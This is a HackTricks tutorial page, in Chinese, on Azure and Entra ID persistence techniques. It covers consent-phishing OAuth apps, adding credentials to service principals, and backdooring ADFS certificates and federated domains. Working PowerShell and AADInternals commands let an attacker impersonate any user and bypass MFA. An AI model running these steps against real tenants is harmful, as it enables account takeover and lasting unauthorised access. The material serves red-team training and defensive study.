Az - Persistence

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

OAuth 应用程序

默认情况下,任何用户都可以在 Entra ID 中注册应用程序。因此,您可以注册一个需要高影响权限的应用程序(仅针对目标租户),并获得管理员同意(如果您是管理员,则批准它) - 例如代表用户发送邮件、角色管理等。这将使我们能够 执行网络钓鱼攻击,如果成功,将非常 有成效

此外,您还可以接受该应用程序作为您的用户,以保持对其的访问。

应用程序和服务主体

凭借应用程序管理员、GA 或具有 microsoft.directory/applications/credentials/update 权限的自定义角色的权限,我们可以向现有应用程序添加凭据(密钥或证书)。

可以 针对具有高权限的应用程序添加具有高权限的新应用程序

一个有趣的角色是 特权身份验证管理员角色,因为它允许 重置 全局管理员的密码。

此技术还允许 绕过 MFA

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • 对于基于证书的身份验证
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

Federation - Token Signing Certificate

拥有 DA 权限 的本地 AD,可以创建和导入 新的 Token 签名Token 解密证书,这些证书具有很长的有效期。这将允许我们 以任何用户身份登录,前提是我们知道其 ImuutableID。

在 ADFS 服务器上以 DA 身份运行以下命令 来创建新证书(默认密码 ‘AADInternals’),将其添加到 ADFS,禁用自动滚动并重启服务:

New-AADIntADFSSelfSignedCertificates

然后,使用 Azure AD 更新证书信息:

Update-AADIntADFSFederationSettings -Domain cyberranges.io

Federation - Trusted Domain

拥有租户的 GA 权限,可以添加一个新域(必须经过验证),将其身份验证类型配置为联邦,并将域配置为信任特定证书(以下命令中的 any.sts)和颁发者:

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks